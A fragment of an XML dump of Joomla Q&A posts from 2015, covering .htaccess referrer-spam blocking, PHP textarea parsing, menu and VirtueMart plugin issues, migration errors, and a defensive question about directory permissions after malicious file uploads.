rel=&quot;nofollow&quot;&gt;nfrPiwik&lt;/a&gt; plugin, and all it does is insert the tracking code you paste into the plugin parameters right before the &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag of your website. The plugin itself contains no Piwik specific coding, so you can simply use your OWA code (or Google Analytics code - or any other script) in the input box.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-08T20:20:47.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6935" PostTypeId="1" AcceptedAnswerId="6936" CreationDate="2015-01-09T07:09:03.523" Score="2" ViewCount="1608" Body="&lt;p&gt;Yesterday I was looking into my Google Analytics and found some spammy refferal sites, which I want to block. Can someone please help in this regard?&lt;/p&gt;&#xA;&lt;p&gt;Following are Spam sites:&lt;/p&gt;&#xA;&lt;p&gt;ILoveVitaly.Com&#xA;Priceg.com&#xA;Darodar.com&#xA;BlackHatWorth.com&lt;/p&gt;&#xA;&lt;p&gt;I found following code, but whenever i place into .htaccess file, site returns Internal Server Error:&lt;/p&gt;&#xA;&lt;h1&gt;Block Spammy Website Referrers&lt;/h1&gt;&#xA;&lt;p&gt;SetEnvIfNoCase Referer BlackHatWorth.com spam=yes&#xA;SetEnvIfNoCase Referer &lt;a href=&quot;http://blackhatworth.com/marketing/lounge/730430-apple-com-analytics-referral-traffic.html.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blackhatworth.com/marketing/lounge/730430-apple-com-analytics-referral-traffic.html.com&lt;/a&gt; spam=yes&#xA;SetEnvIfNoCase Referer priceg.com spam=yes&#xA;Order allow,deny&#xA;Allow from all&#xA;Deny from env=spam&lt;/p&gt;&#xA;&lt;p&gt;Come some one share some code to block these domain? I am using &lt;strong&gt;Joomla 3.3.6&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-01-25T18:06:16.610" Title="Spammy Referral Traffic on Joomla site" Tags="|joomla-3.3.x|.htaccess-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6936" PostTypeId="2" ParentId="6935" CreationDate="2015-01-09T09:29:21.977" Score="3" Body="&lt;p&gt;Oops. Originally linked to the correct page of documentation, but copied the wrong example...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITING:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copied (had to edit some) from &lt;a href=&quot;http://httpd.apache.org/docs/current/rewrite/access.html&quot; rel=&quot;nofollow&quot;&gt;http://httpd.apache.org/docs/current/rewrite/access.html&lt;/a&gt;&#xA;Also, if RewriteMap is not supported you can chain &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_REFERER} domain.net [OR]&#xA;RewriteCond %{HTTP_REFERER} last-domain.net [NC]&#xA;RewriteRule   ^  -  [F]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead. Probably has typos and errors, but the idea should be right.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Description:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Redirect requests based on the Referer from which the request came, with different targets per Referer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Solution:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The following ruleset uses a map file to associate each Referer with a redirection target.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteMap  deflector txt:/path/to/deflector.map&#xA;&#xA;RewriteCond %{HTTP_REFERER} !=&quot;&quot;&#xA;RewriteCond ${deflector:%{HTTP_REFERER}} =-&#xA;RewriteRule ^ %{HTTP_REFERER} [R,L]&#xA;&#xA;RewriteCond %{HTTP_REFERER} !=&quot;&quot;&#xA;RewriteCond ${deflector:%{HTTP_REFERER}|NOT-FOUND} !=NOT-FOUND&#xA;RewriteRule ^ ${deflector:%{HTTP_REFERER}} [R,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The map file lists redirection targets for each referer, or, if we just wish to redirect back to where they came from, a &quot;-&quot; is placed in the map:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;##  deflector.map&#xA;##&#xA;&#xA;&#xA;http://badguys.example.com/bad/index.html    -&#xA;http://badguys.example.com/bad/index2.html   -&#xA;http://badguys.example.com/bad/index3.html   http://somewhere.example.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="2309" LastEditDate="2015-01-09T17:59:18.297" LastActivityDate="2015-01-09T17:59:18.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6937" PostTypeId="1" AcceptedAnswerId="6938" CreationDate="2015-01-09T09:51:47.543" Score="2" ViewCount="253" Body="&lt;p&gt;I am building a joomla 3 component. I have a text area set up in my xml document where the user can add additional JavaScripts (one per line). I then have some php which takes each line and adds the script to the head. Here is my php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$BDjs = $this-&amp;gt;params-&amp;gt;get('bd-addjs');&#xA;$BDjsAr = explode(&quot;\n&quot;, $BDjs);&#xA;$BDjsAr = array_filter($BDjsAr, 'trim');&#xA;foreach ($BDjsAr as $line) {&#xA;    $line = str_replace('\n','',$line);&#xA;    $doc-&amp;gt;addScript($line);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The PHP works fine but the rendered html has an extra line break in it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/dev/script1.js&#xA;&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;script src=&quot;/dev/script2.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how do I get rid on the line break after 'script1.js'?&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2018-06-25T07:08:32.430" Title="PHP get each line of textarea in jform" Tags="|php|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6938" PostTypeId="2" ParentId="6937" CreationDate="2015-01-09T09:55:20.013" Score="1" Body="&lt;p&gt;I have figured this out by using preg_replace instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My final code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$BDjs = $this-&amp;gt;params-&amp;gt;get('bd-addjs');&#xA;$BDjsAr = explode(&quot;\n&quot;, $BDjs);&#xA;$BDjsAr = array_filter($BDjsAr, 'trim');&#xA;foreach ($BDjsAr as $line) {&#xA;    $line = preg_replace(&quot;/[\n\r]/&quot;,&quot;&quot;,$line);&#xA;    $doc-&amp;gt;addScript($line);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="387" LastActivityDate="2015-01-09T09:55:20.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6942" PostTypeId="1" CreationDate="2015-01-09T17:15:29.233" Score="3" ViewCount="362" Body="&lt;p&gt;I am using the &quot;Bootstrap Accordion Menu&quot; Plugin. &#xA;I have 4 Modules implemented because i am using 2 languages and have different positions for the mobile version. On the German version the menu module works fine, however, on the English version it does not. I have checked all settings, tried to copy the working one .. but on the english version the page is not loaded with the top menu items that are also a parent. (Profile, Expertise, References ..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea why this could be? I have tried to create a separate mod_menu for the english menu, but this won't work. since i have double checked all settings to the working (german) menu, i have no clue why this issue comes up. This is the mod_bootstrap_accordionmenu code. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Joomla! module - Bootstrap Accordion Menu&#xA; *&#xA; * @author Yireo (info@yireo.com)&#xA; * @copyright Copyright 2012 Yireo.com. All rights reserved&#xA; * @license GNU Public License&#xA; * @link http://www.yireo.com&#xA; */&#xA;&#xA;// Deny direct access&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;?php if($params-&amp;gt;get('load_js', 1) == 1) : ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;if (typeof modBootstrapAccordionMenu_hover === &quot;undefined&quot;) {&#xA;  var modBootstrapAccordionMenu_hover = &amp;lt;?php echo (int)$params-&amp;gt;get('js_hover', 0); ?&amp;gt;;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;div class=&quot;accordion&quot; id=&quot;&amp;lt;?php echo $tag_id; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;accordion-group&quot;&amp;gt;&#xA;        &amp;lt;?php foreach($parents as $parent) : ?&amp;gt;&#xA;        &amp;lt;?php $collapse_status = ($parent-&amp;gt;active) ? 'in' : 'out'; ?&amp;gt;&#xA;        &amp;lt;div class=&quot;accordion-heading&quot;&amp;gt;&#xA;            &amp;lt;?php if(!empty($parent-&amp;gt;childs)) : ?&amp;gt;&#xA;            &amp;lt;a class=&quot;accordion-toggle menulist accordion-parent &amp;lt;?php echo implode(' ', $parent-&amp;gt;classes); ?&amp;gt;&quot; data-toggle=&quot;collapse&quot; data-parent=&quot;#&amp;lt;?php echo $tag_id; ?&amp;gt;&quot; data-href=&quot;&amp;lt;?php echo $parent-&amp;gt;href; ?&amp;gt;&quot; href=&quot;#&amp;lt;?php echo $parent-&amp;gt;html_id; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $parent-&amp;gt;title; ?&amp;gt;&amp;lt;i class=&quot;fa fa-chevron-down pull-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php else: ?&amp;gt;&#xA;            &amp;lt;a class=&quot;menulist accordion-toggle &amp;lt;?php echo implode(' ', $parent-&amp;gt;classes); ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo $parent-&amp;gt;href; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $parent-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php if(!empty($parent-&amp;gt;childs)) : ?&amp;gt;&#xA;        &amp;lt;div id=&quot;&amp;lt;?php echo $parent-&amp;gt;html_id; ?&amp;gt;&quot; class=&quot;accordion-body collapse &amp;lt;?php echo $collapse_status; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;accordion-inner&quot;&amp;gt;&#xA;                &amp;lt;?php modBootstrapAccordionMenuHelper::submenu($parent-&amp;gt;childs); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2332" LastEditorUserId="2332" LastEditDate="2015-01-23T10:39:35.877" LastActivityDate="2015-01-23T10:39:35.877" Title="Accordion Menu Bilingual - one works the other has issues" Tags="|bootstrap|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6945" PostTypeId="1" CreationDate="2015-01-10T07:50:11.587" Score="3" ViewCount="890" Body="&lt;p&gt;I'm writing a plugin for Virtuemart its System type plugin. In their older version (VM2.x) they managed the &lt;code&gt;Div&lt;/code&gt; simply with a class and there is no inside &lt;code&gt;Div&lt;/code&gt; structure so &lt;code&gt;preg_replace&lt;/code&gt; is sufficient for my requirement. But on new version they changed the default Div structure now &lt;code&gt;Div&lt;/code&gt; inside &lt;code&gt;Div&lt;/code&gt; is there. So &lt;code&gt;preg_replace&lt;/code&gt; is unable to replace the whole &lt;code&gt;Div&lt;/code&gt; content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just used to manage it with &lt;code&gt;PHPDom&lt;/code&gt; and &lt;code&gt;Xpath&lt;/code&gt; but in some template frameworks &lt;code&gt;(T3)&lt;/code&gt; when my plugin enable return an error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;0 - String could not be parsed as XML&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the same plugin works fine with &lt;code&gt;Gantry&lt;/code&gt; and other frameworks.&#xA;The old version I tried the following code and its works fine on all templates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$buffer = preg_replace('&amp;lt;div class=&quot;ClassNeedstoReplace&quot;&amp;gt;([^`]*?)&amp;lt;\/div&amp;gt;/','my custom content',$buffer);    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in Vm3 I'm using following codes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$docs = new DOMDocument();&#xA;libxml_use_internal_errors(true);&#xA;$docs-&amp;gt;resolveExternals = true;&#xA;$docs-&amp;gt;loadHTML($buffer);&#xA;if($getRelatedProduct != '')&#xA;$element = $docs-&amp;gt;createElement('div', $getRelatedProduct);&#xA;$xpath = new DOMXPath($docs);&#xA;$query = '//div[@class=&quot;'.$class_name.'&quot;]';&#xA;$entries = $xpath-&amp;gt;query($query);&#xA;foreach ($entries as $entry) {&#xA;&#xA;    $entry-&amp;gt;parentNode-&amp;gt;replaceChild($element, $entry);&#xA;}&#xA;$docs-&amp;gt;recover = true;&#xA;libxml_clear_errors();&#xA;JResponse::setBody(htmlspecialchars_decode($docs-&amp;gt;saveHTML()));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;bcoz all the instance of the class needs to be replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know for testing the plugin required another Extension (VM3).its difficult for debuggers.But simply my requirement is simply replace all the class instance with mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any way to replace Div inside Div structure without breaking layouts using &lt;code&gt;preg_replace&lt;/code&gt; ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Div Structure is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;product-fields&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;product-field product-field-type-R&quot;&amp;gt;&#xA;                                    &amp;lt;span class=&quot;product-fields-title-wrapper&quot;&amp;gt;&amp;lt;span class=&quot;product-fields-title&quot;&amp;gt;&amp;lt;strong&amp;gt;Related Products&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;span title=&quot;&quot; class=&quot;hasTooltip&quot; data-original-title=&quot;&amp;amp;lt;strong&amp;amp;gt;Related Products&amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;COM_VIRTUEMART_RELATED_PRODUCTS_TIP&quot;&amp;gt;&amp;lt;img alt=&quot;Tooltip&quot; src=&quot;/j34/media/system/images/tooltip.png&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;product-field-display&quot;&amp;gt;&amp;lt;a target=&quot;blank&quot; title=&quot;Test Product 1&quot; href=&quot;/j34/index.php/shops/c1/t1-detail&quot;&amp;gt;Test Product 1&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;product-field-desc&quot;&amp;gt;Custom prototype for related products&amp;lt;/span&amp;gt;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to replace &quot;&lt;code&gt;product-field product-field-type-R&lt;/code&gt;&quot; it may comes more than one inside &quot;&lt;code&gt;product-fields&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone will be able to figure out something :)&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="138" LastEditDate="2015-01-11T06:43:01.817" LastActivityDate="2018-11-28T21:18:53.760" Title="How to replace the content of Div for plugin" Tags="|plugin|virtuemart|system-plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6946" PostTypeId="2" ParentId="6937" CreationDate="2015-01-10T10:46:20.653" Score="1" Body="&lt;p&gt;your &lt;code&gt;array_filter($BDjsAr, 'trim');&lt;/code&gt; is useless...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you already use foreach, just do:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$BDjs = $this-&amp;gt;params-&amp;gt;get('bd-addjs');&#xA;$BDjsAr = explode(&quot;\n&quot;, $BDjs);&#xA;foreach ($BDjsAr as $line) {&#xA;    $doc-&amp;gt;addScript(trim($line));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="87" LastActivityDate="2015-01-10T10:46:20.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6947" PostTypeId="1" CreationDate="2015-01-10T23:58:27.907" Score="0" ViewCount="390" Body="&lt;p&gt;I used the plugin MigrateMe to migrate my data from Joomla 1.5 to 3 and everything seems to work fine except for this specific plugin, ProForms Basic, which is the follow up to Mad4Joomla... When I try to create a new form of modify an existing one, it displays an error message with this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unknown column 'usermail' in 'field list' SQL=SELECT `usermail` FROM d6xcm_m4j_formelements WHERE `fid` ='4' AND `usermail` = '1' AND `active` = '1' LIMIT 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea about it?&lt;/p&gt;&#xA;" OwnerUserId="3479" OwnerDisplayName="nakkeru" LastEditorUserId="159" LastEditDate="2015-02-11T18:35:43.987" LastActivityDate="2015-03-13T19:07:55.713" Title="ProForms Basic error message after upgrade to Joomla 3" Tags="|joomla-3.x|migration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6948" PostTypeId="1" AcceptedAnswerId="6949" CreationDate="2015-01-11T16:05:01.993" Score="2" ViewCount="77" Body="&lt;p&gt;I'm working on a very large site with hundreds of modules. It would be convenient to have a search field where the Module ID could be entered. There are filters for every other column (position, category, etc). The only text input allows user to search by title - but why can't the backend be searched for Module ID? It is possible to sort by Module ID, but that is a time drag because the site is huge and slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this functionality exist, or would it be possible to add it?&lt;/p&gt;&#xA;" OwnerUserId="3469" LastActivityDate="2015-01-11T18:13:07.820" Title="Module Manager - Search by Module ID? It is not easy to find/locate modules for editing" Tags="|module|module-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6949" PostTypeId="2" ParentId="6948" CreationDate="2015-01-11T18:13:07.820" Score="5" Body="&lt;p&gt;Search with &lt;code&gt;id:123&lt;/code&gt; where 123 is your module id. This works in most of the admin side to search by an id value.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-11T18:13:07.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6950" PostTypeId="2" ParentId="6947" CreationDate="2015-01-12T01:10:59.343" Score="1" Body="&lt;p&gt;Try re-migrating the data for the extension from the old site. Not everything will work, but the current version will create all the necessary tables/columns and may eliminate this error.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-01-12T01:10:59.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6951" PostTypeId="1" AcceptedAnswerId="6953" CreationDate="2015-01-12T05:39:34.977" Score="1" ViewCount="4263" Body="&lt;p&gt;I am trying to duplicate a view and modify it, but it is giving me an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before this, I did it with other views and it worked perfectly, all I had to do was rename the views and modify the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now , I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function get() on a non-object in D:\UniServerZ\vhosts\restaurant\administrator\components\com_restaurant\views\reviews\view.html.php on line 54&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Line 54 has this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$canDo = RestaurantHelper::getActions($state-&amp;gt;get('filter.category_id'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var_dump($this)&lt;/code&gt;; gives me the following -&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    object(RestaurantViewReviews)#156 (18) {&#xA;  [&quot;items&quot;:protected]=&amp;gt;&#xA;  NULL&#xA;  [&quot;pagination&quot;:protected]=&amp;gt;&#xA;  NULL&#xA;  [&quot;state&quot;:protected]=&amp;gt;&#xA;  NULL&#xA;  [&quot;_name&quot;:protected]=&amp;gt;&#xA;  string(7) &quot;reviews&quot;&#xA;  [&quot;_models&quot;:protected]=&amp;gt;&#xA;  array(0) {&#xA;  }&#xA;  [&quot;_basePath&quot;:protected]=&amp;gt;&#xA;  string(71) &quot;D:\UniServerZ\vhosts\restaurant\administrator/components/com_restaurant&quot;&#xA;  [&quot;_defaultModel&quot;:protected]=&amp;gt;&#xA;  NULL&#xA;  [&quot;_layout&quot;:protected]=&amp;gt;&#xA;  string(7) &quot;default&quot;&#xA;  [&quot;_layoutExt&quot;:protected]=&amp;gt;&#xA;  string(3) &quot;php&quot;&#xA;  [&quot;_layoutTemplate&quot;:protected]=&amp;gt;&#xA;  string(1) &quot;_&quot;&#xA;  [&quot;_path&quot;:protected]=&amp;gt;&#xA;  array(2) {&#xA;    [&quot;template&quot;]=&amp;gt;&#xA;    array(2) {&#xA;      [0]=&amp;gt;&#xA;      string(89) &quot;D:\UniServerZ\vhosts\restaurant\administrator\templates\isis\html\com_restaurant\reviews\&quot;&#xA;      [1]=&amp;gt;&#xA;      string(91) &quot;D:\UniServerZ\vhosts\restaurant\administrator\components\com_restaurant\views\reviews\tmpl\&quot;&#xA;    }&#xA;    [&quot;helper&quot;]=&amp;gt;&#xA;    array(1) {&#xA;      [0]=&amp;gt;&#xA;      string(80) &quot;D:\UniServerZ\vhosts\restaurant\administrator\components\com_restaurant\helpers\&quot;&#xA;    }&#xA;  }&#xA;  [&quot;_template&quot;:protected]=&amp;gt;&#xA;  NULL&#xA;  [&quot;_output&quot;:protected]=&amp;gt;&#xA;  NULL&#xA;  [&quot;_escape&quot;:protected]=&amp;gt;&#xA;  string(16) &quot;htmlspecialchars&quot;&#xA;  [&quot;_charset&quot;:protected]=&amp;gt;&#xA;  string(5) &quot;UTF-8&quot;&#xA;  [&quot;_errors&quot;:protected]=&amp;gt;&#xA;  array(0) {&#xA;  }&#xA;  [&quot;baseurl&quot;]=&amp;gt;&#xA;  string(14) &quot;/administrator&quot;&#xA;  [&quot;document&quot;]=&amp;gt;&#xA;  object(JDocumentHTML)#122 (32) {&#xA;    [&quot;_links&quot;]=&amp;gt;&#xA;    array(0) {&#xA;    }&#xA;    [&quot;_custom&quot;]=&amp;gt;&#xA;    array(0) {&#xA;    }&#xA;    [&quot;template&quot;]=&amp;gt;&#xA;    NULL&#xA;    [&quot;baseurl&quot;]=&amp;gt;&#xA;    NULL&#xA;    [&quot;params&quot;]=&amp;gt;&#xA;    NULL&#xA;    [&quot;_file&quot;]=&amp;gt;&#xA;    NULL&#xA;    [&quot;_template&quot;:protected]=&amp;gt;&#xA;    string(0) &quot;&quot;&#xA;    [&quot;_template_tags&quot;:protected]=&amp;gt;&#xA;    array(0) {&#xA;    }&#xA;    [&quot;_caching&quot;:protected]=&amp;gt;&#xA;    NULL&#xA;    [&quot;_html5&quot;:&quot;JDocumentHTML&quot;:private]=&amp;gt;&#xA;    NULL&#xA;    [&quot;title&quot;]=&amp;gt;&#xA;    string(27) &quot;Restaurant - Administration&quot;&#xA;    [&quot;description&quot;]=&amp;gt;&#xA;    string(24) &quot;Restaurant description..&quot;&#xA;    [&quot;link&quot;]=&amp;gt;&#xA;    string(0) &quot;&quot;&#xA;    [&quot;base&quot;]=&amp;gt;&#xA;    string(0) &quot;&quot;&#xA;    [&quot;language&quot;]=&amp;gt;&#xA;    string(5) &quot;en-gb&quot;&#xA;    [&quot;direction&quot;]=&amp;gt;&#xA;    string(3) &quot;ltr&quot;&#xA;    [&quot;_generator&quot;]=&amp;gt;&#xA;    string(40) &quot;Joomla! - Open Source Content Management&quot;&#xA;    [&quot;_mdate&quot;]=&amp;gt;&#xA;    string(0) &quot;&quot;&#xA;    [&quot;_tab&quot;]=&amp;gt;&#xA;    string(2) &quot;  &quot;&#xA;    [&quot;_lineEnd&quot;]=&amp;gt;&#xA;    string(1) &quot;&#xA;&quot;&#xA;    [&quot;_charset&quot;]=&amp;gt;&#xA;    string(5) &quot;utf-8&quot;&#xA;    [&quot;_mime&quot;]=&amp;gt;&#xA;    string(9) &quot;text/html&quot;&#xA;    [&quot;_namespace&quot;]=&amp;gt;&#xA;    string(0) &quot;&quot;&#xA;    [&quot;_profile&quot;]=&amp;gt;&#xA;    string(0) &quot;&quot;&#xA;    [&quot;_scripts&quot;]=&amp;gt;&#xA;    array(0) {&#xA;    }&#xA;    [&quot;_script&quot;]=&amp;gt;&#xA;    array(0) {&#xA;    }&#xA;    [&quot;_styleSheets&quot;]=&amp;gt;&#xA;    array(0) {&#xA;    }&#xA;    [&quot;_style&quot;]=&amp;gt;&#xA;    array(0) {&#xA;    }&#xA;    [&quot;_metaTags&quot;]=&amp;gt;&#xA;    array(2) {&#xA;      [&quot;http-equiv&quot;]=&amp;gt;&#xA;      array(1) {&#xA;        [&quot;content-type&quot;]=&amp;gt;&#xA;        string(24) &quot;text/html; charset=utf-8&quot;&#xA;      }&#xA;      [&quot;standard&quot;]=&amp;gt;&#xA;      array(1) {&#xA;        [&quot;keywords&quot;]=&amp;gt;&#xA;        NULL&#xA;      }&#xA;    }&#xA;    [&quot;_engine&quot;]=&amp;gt;&#xA;    NULL&#xA;    [&quot;_type&quot;]=&amp;gt;&#xA;    string(4) &quot;html&quot;&#xA;    [&quot;mediaVersion&quot;:protected]=&amp;gt;&#xA;    string(32) &quot;5a22c74e31c4742e55ee891853d099a2&quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help regarding this would be greatly appreciated,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3456" LastEditorUserId="3456" LastEditDate="2015-01-12T10:19:18.610" LastActivityDate="2018-06-06T10:31:59.733" Title="Fatal error: Call to a member function get() on a non-object" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6952" PostTypeId="1" AcceptedAnswerId="6957" CreationDate="2015-01-12T08:26:17.520" Score="1" ViewCount="694" Body="&lt;p&gt;I have been having troubles with the attackers attacking to my Joomla sites. They create some php files which are encoded with base64 algorithm in the directories of which chmod values are 774 or higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to upload pictures via administrator panel's media manager, I have to set images directory's chmod value to 774. So the attacker appends some malicious php files into this directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an idea that could help but do not know how to do it. Is it possible to set chmod to 774 right after logging into Joomla administrator panel and set back to 755 after logging out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a sharp solution but it reduces the probability of getting damage from attacks.&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2015-01-12T17:10:31.083" Title="Conditional CHMOD values" Tags="|joomla-3.3.x|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6953" PostTypeId="2" ParentId="6951" CreationDate="2015-01-12T08:26:44.933" Score="2" Body="&lt;p&gt;&lt;code&gt;$state&lt;/code&gt; is not an object. That means that it is not correctly initialized earlier in your method. Or may be it should be &lt;code&gt;$this-&amp;gt;state&lt;/code&gt; instead of &lt;code&gt;$state&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-12T08:26:44.933" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6954" PostTypeId="2" ParentId="6952" CreationDate="2015-01-12T09:26:51.603" Score="-2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In order to upload pictures via administrator panel's media manager, I have to set images directory's chmod value to 774.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then your hosting is poorly configured. You should get the hosting environment set up properly so that you don't need to use insecure permissions in the first place.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-01-12T09:26:51.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
